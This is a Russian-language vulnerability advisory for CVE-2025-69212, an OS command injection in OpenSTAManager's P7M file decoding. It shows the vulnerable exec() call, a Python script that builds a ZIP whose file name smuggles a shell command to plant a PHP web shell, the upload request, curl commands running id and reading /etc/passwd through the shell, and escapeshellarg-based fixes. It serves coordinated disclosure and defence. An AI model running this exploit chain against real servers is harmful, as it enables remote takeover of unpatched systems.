
CVE-2025-69212 - OpenSTAManager подвержен внедрению OS-команд при обработке файлов P7M
| Поле | Значение |
|---|---|
| Идентификатор CVE | CVE-2025-69212 |
| Критичность | КРИТИЧЕСКАЯ |
| Уведомление | Просмотреть уведомление |
| Обнаружил | Lukasz Rybak |
Критическая уязвимость инъекции команд ОС существует в функциональности декодирования файлов P7M (подписанный XML). Аутентифицированный злоумышленник может загрузить ZIP-архив, содержащий файл .p7m с вредоносным именем, чтобы выполнить произвольные системные команды на сервере.
Файл: src/Util/XML.php:100
public static function decodeP7M($file)
{
$directory = pathinfo($file, PATHINFO_DIRNAME);
$content = file_get_contents($file);
$output_file = $directory.'/'.basename($file, '.p7m');
try {
if (function_exists('exec')) {
// VULNERABLE - No input sanitization!
exec('openssl smime -verify -noverify -in "'.$file.'" -inform DER -out "'.$output_file.'"', $output, $cmd);
Проблема:
$file передается напрямую в exec() без санитизацииplugins/importFE_ZIP/actions.php:126 (когда автоматический импорт включен)
foreach ($files_xml as $xml) {
if (string_ends_with($xml, '.p7m')) {
$file = XML::decodeP7M($directory.'/'.$xml); // $xml from ZIP!
plugins/importFE/src/FatturaElettronica.php:56 (конструктор)
if (string_ends_with($name, '.p7m')) {
$file = XML::decodeP7M($this->file); // $name from user input!
.p7m вызывается decodeP7M()exec()⚠️ ВАЖНОЕ ПРИМЕЧАНИЕ: PHP-функция ZipArchive::extractTo() разбивает имена файлов по символу /. Полезная нагрузка НЕ должна содержать / в командах. Используйте cd directory && command вместо абсолютных путей.
import zipfile
cmd = "cd files && echo '<?php system($_GET[\"c\"]); ?>' > SHELL.php"
malicious_filename = f'invoice.p7m";{cmd};echo ".p7m'
with zipfile.ZipFile('exploit.zip', 'w') as zf:
zf.writestr(malicious_filename, b"DUMMY_P7M_CONTENT")
POST /actions.php HTTP/1.1
Host: localhost:8081
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryBKunENXxjEx5VrRc
Cookie: PHPSESSID=10fcc3c3cdccf2466ada216d5839084b
------WebKitFormBoundaryBKunENXxjEx5VrRc
Content-Disposition: form-data; name="blob1"; filename="exploit.zip"
Content-Type: application/zip
[ZIP CONTENT]
------WebKitFormBoundaryBKunENXxjEx5VrRc--
Content-Disposition: form-data; name="op"
save
------WebKitFormBoundaryBKunENXxjEx5VrRc
Content-Disposition: form-data; name="id_module"
14
------WebKitFormBoundaryBKunENXxjEx5VrRc
Content-Disposition: form-data; name="id_plugin"
48
------WebKitFormBoundaryBKunENXxjEx5VrRc--
Ответ (ошибка 500 ожидаема — разбор XML завершается ошибкой ПОСЛЕ выполнения команды):
HTTP/1.1 500 Internal Server Error
{"error":{"type":"Exception","message":"Start tag expected, '<' not found"}}
Проверка — веб-шелл создан:
Веб-шелл публично доступен без аутентификации:
$ curl "http://localhost:8081/files/SHELL.php?c=id"
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ curl "http://localhost:8081/files/SHELL.php?c=cat+/etc/passwd"
[Full /etc/passwd output]
public static function decodeP7M($file)
{
// Validate that file path doesn't contain shell metacharacters
if (preg_match('/[;&|`$(){}\[\]<>]/', $file)) {
throw new \Exception('Invalid file path');
}
// Better: use escapeshellarg()
$safe_file = escapeshellarg($file);
$safe_output = escapeshellarg($output_file);
exec("openssl smime -verify -noverify -in $safe_file -inform DER -out $safe_output", $output, $cmd);
}
или
// In the upload handler, validate filenames from ZIP
foreach ($files_xml as $xml) {
// Only allow alphanumeric, dots, dashes, underscores
if (!preg_match('/^[a-zA-Z0-9._-]+$/', $xml)) {
continue; // Skip invalid filenames
}
if (string_ends_with($xml, '.p7m')) {
$file = XML::decodeP7M($directory.'/'.$xml);
}
}
Обнаружил: Łukasz Rybak
Данный CVE был раскрыт ответственно в соответствии с практиками координированного раскрытия уязвимостей. Информация, представленная здесь, предназначена только для образовательных и защитных целей.